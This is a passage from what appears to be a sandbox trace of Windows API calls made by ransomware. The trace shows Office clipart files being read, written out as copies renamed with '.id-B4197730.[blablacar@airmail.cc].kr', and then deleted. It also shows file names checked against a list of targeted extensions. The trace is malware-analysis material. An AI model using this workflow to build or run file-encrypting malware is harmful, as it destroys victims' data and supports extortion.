lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0212.245] SetEndOfFile (hFile=0x4d8) returned 1 [0212.245] CloseHandle (hObject=0x4d8) returned 1 [0212.245] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0212.246] SetEndOfFile (hFile=0x564) returned 1 [0212.248] CloseHandle (hObject=0x564) returned 1 [0212.248] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0212.249] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf")) returned 1 [0212.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0212.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0212.249] lstrlenW (lpString=".doc") returned 4 [0212.249] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.250] lstrlenW (lpString=".docx") returned 5 [0212.250] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0212.250] lstrlenW (lpString=".pdf") returned 4 [0212.250] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.250] lstrlenW (lpString=".xls") returned 4 [0212.250] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.250] lstrlenW (lpString=".xlsx") returned 5 [0212.250] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0212.250] lstrlenW (lpString=".ppt") returned 4 [0212.250] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0212.250] lstrlenW (lpString=".zip") returned 4 [0212.250] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.250] lstrlenW (lpString=".rar") returned 4 [0212.250] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.250] lstrlenW (lpString=".bz2") returned 4 [0212.250] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.250] lstrlenW (lpString=".7z") returned 3 [0212.250] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0212.250] lstrlenW (lpString=".dbf") returned 4 [0212.250] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0212.250] lstrlenW (lpString=".1cd") returned 4 [0212.250] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0212.250] lstrlenW (lpString=".jpg") returned 4 [0212.250] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0212.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0212.250] lstrlenW (lpString=".doc") returned 4 [0212.250] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.250] lstrlenW (lpString=".docx") returned 5 [0212.251] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0212.251] lstrlenW (lpString=".pdf") returned 4 [0212.251] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.251] lstrlenW (lpString=".xls") returned 4 [0212.251] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.251] lstrlenW (lpString=".xlsx") returned 5 [0212.251] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0212.251] lstrlenW (lpString=".ppt") returned 4 [0212.251] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0212.251] lstrlenW (lpString=".zip") returned 4 [0212.251] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.251] lstrlenW (lpString=".rar") returned 4 [0212.251] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.251] lstrlenW (lpString=".bz2") returned 4 [0212.251] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.251] lstrlenW (lpString=".7z") returned 3 [0212.251] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0212.251] lstrlenW (lpString=".dbf") returned 4 [0212.251] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0212.251] lstrlenW (lpString=".1cd") returned 4 [0212.251] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0212.251] lstrlenW (lpString=".jpg") returned 4 [0212.251] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.251] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0212.251] lstrlenW (lpString="J0107446.WMF") returned 12 [0212.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0212.252] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=30336) returned 1 [0212.252] CloseHandle (hObject=0x564) returned 1 [0212.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf")) returned 0x220 [0212.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0212.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0212.253] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0212.253] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0212.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0212.253] GetLastError () returned 0x0 [0212.254] ReadFile (in: hFile=0x564, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x7680, lpOverlapped=0x0) returned 1 [0212.972] WriteFile (in: hFile=0x4d8, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x7690, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x7690, lpOverlapped=0x0) returned 1 [0212.973] ReadFile (in: hFile=0x564, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0212.973] WriteFile (in: hFile=0x4d8, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0212.973] SetEndOfFile (hFile=0x4d8) returned 1 [0212.973] CloseHandle (hObject=0x4d8) returned 1 [0212.973] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0212.973] SetEndOfFile (hFile=0x564) returned 1 [0212.993] CloseHandle (hObject=0x564) returned 1 [0212.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0212.993] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf")) returned 1 [0212.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0212.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0212.995] lstrlenW (lpString=".doc") returned 4 [0212.995] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.995] lstrlenW (lpString=".docx") returned 5 [0212.995] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0212.995] lstrlenW (lpString=".pdf") returned 4 [0212.995] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.995] lstrlenW (lpString=".xls") returned 4 [0212.995] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.995] lstrlenW (lpString=".xlsx") returned 5 [0212.995] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0212.995] lstrlenW (lpString=".ppt") returned 4 [0212.995] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0212.995] lstrlenW (lpString=".zip") returned 4 [0212.995] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.995] lstrlenW (lpString=".rar") returned 4 [0212.995] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.995] lstrlenW (lpString=".bz2") returned 4 [0212.995] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.995] lstrlenW (lpString=".7z") returned 3 [0212.995] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0212.996] lstrlenW (lpString=".dbf") returned 4 [0212.996] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0212.996] lstrlenW (lpString=".1cd") returned 4 [0212.996] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0212.996] lstrlenW (lpString=".jpg") returned 4 [0212.996] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0212.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0212.996] lstrlenW (lpString=".doc") returned 4 [0212.996] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.996] lstrlenW (lpString=".docx") returned 5 [0212.996] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0212.996] lstrlenW (lpString=".pdf") returned 4 [0212.996] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.996] lstrlenW (lpString=".xls") returned 4 [0212.996] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.996] lstrlenW (lpString=".xlsx") returned 5 [0212.996] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0212.996] lstrlenW (lpString=".ppt") returned 4 [0212.996] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0212.996] lstrlenW (lpString=".zip") returned 4 [0212.996] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.996] lstrlenW (lpString=".rar") returned 4 [0212.996] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.996] lstrlenW (lpString=".bz2") returned 4 [0212.996] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.996] lstrlenW (lpString=".7z") returned 3 [0212.996] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0212.996] lstrlenW (lpString=".dbf") returned 4 [0212.997] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0212.997] lstrlenW (lpString=".1cd") returned 4 [0212.997] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0212.997] lstrlenW (lpString=".jpg") returned 4 [0212.997] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.997] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0212.997] lstrlenW (lpString="J0107488.WMF") returned 12 [0212.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0212.999] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=8000) returned 1 [0212.999] CloseHandle (hObject=0x564) returned 1 [0212.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf")) returned 0x220 [0212.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0212.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0212.999] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0212.999] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0212.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0213.000] GetLastError () returned 0x0 [0213.000] ReadFile (in: hFile=0x564, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x1f40, lpOverlapped=0x0) returned 1 [0213.002] WriteFile (in: hFile=0x4d8, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x1f50, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x1f50, lpOverlapped=0x0) returned 1 [0213.003] ReadFile (in: hFile=0x564, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0213.003] WriteFile (in: hFile=0x4d8, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0213.003] SetEndOfFile (hFile=0x4d8) returned 1 [0213.003] CloseHandle (hObject=0x4d8) returned 1 [0213.004] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0213.004] SetEndOfFile (hFile=0x564) returned 1 [0213.010] CloseHandle (hObject=0x564) returned 1 [0213.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.010] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf")) returned 1 [0213.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0213.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0213.011] lstrlenW (lpString=".doc") returned 4 [0213.011] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.011] lstrlenW (lpString=".docx") returned 5 [0213.011] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0213.011] lstrlenW (lpString=".pdf") returned 4 [0213.011] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.012] lstrlenW (lpString=".xls") returned 4 [0213.012] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.012] lstrlenW (lpString=".xlsx") returned 5 [0213.012] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0213.012] lstrlenW (lpString=".ppt") returned 4 [0213.012] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0213.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0213.012] lstrlenW (lpString=".zip") returned 4 [0213.012] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.012] lstrlenW (lpString=".rar") returned 4 [0213.012] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.012] lstrlenW (lpString=".bz2") returned 4 [0213.012] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.012] lstrlenW (lpString=".7z") returned 3 [0213.012] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0213.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0213.012] lstrlenW (lpString=".dbf") returned 4 [0213.012] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0213.012] lstrlenW (lpString=".1cd") returned 4 [0213.012] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0213.012] lstrlenW (lpString=".jpg") returned 4 [0213.012] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0213.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0213.012] lstrlenW (lpString=".doc") returned 4 [0213.012] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.012] lstrlenW (lpString=".docx") returned 5 [0213.012] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0213.012] lstrlenW (lpString=".pdf") returned 4 [0213.012] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.012] lstrlenW (lpString=".xls") returned 4 [0213.013] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.013] lstrlenW (lpString=".xlsx") returned 5 [0213.013] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0213.013] lstrlenW (lpString=".ppt") returned 4 [0213.013] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0213.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0213.013] lstrlenW (lpString=".zip") returned 4 [0213.013] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.013] lstrlenW (lpString=".rar") returned 4 [0213.013] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.013] lstrlenW (lpString=".bz2") returned 4 [0213.013] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.013] lstrlenW (lpString=".7z") returned 3 [0213.013] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0213.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0213.013] lstrlenW (lpString=".dbf") returned 4 [0213.013] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0213.013] lstrlenW (lpString=".1cd") returned 4 [0213.013] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0213.013] lstrlenW (lpString=".jpg") returned 4 [0213.013] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.013] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0213.013] lstrlenW (lpString="J0107490.WMF") returned 12 [0213.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0213.014] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=16468) returned 1 [0213.014] CloseHandle (hObject=0x564) returned 1 [0213.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf")) returned 0x220 [0213.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0213.015] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0213.015] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0213.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0213.016] GetLastError () returned 0x0 [0213.016] ReadFile (in: hFile=0x564, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x4054, lpOverlapped=0x0) returned 1 [0213.018] WriteFile (in: hFile=0x4d8, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x4060, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x4060, lpOverlapped=0x0) returned 1 [0213.019] ReadFile (in: hFile=0x564, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0213.019] WriteFile (in: hFile=0x4d8, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0213.019] SetEndOfFile (hFile=0x4d8) returned 1 [0213.019] CloseHandle (hObject=0x4d8) returned 1 [0213.019] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0213.019] SetEndOfFile (hFile=0x564) returned 1 [0213.022] CloseHandle (hObject=0x564) returned 1 [0213.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 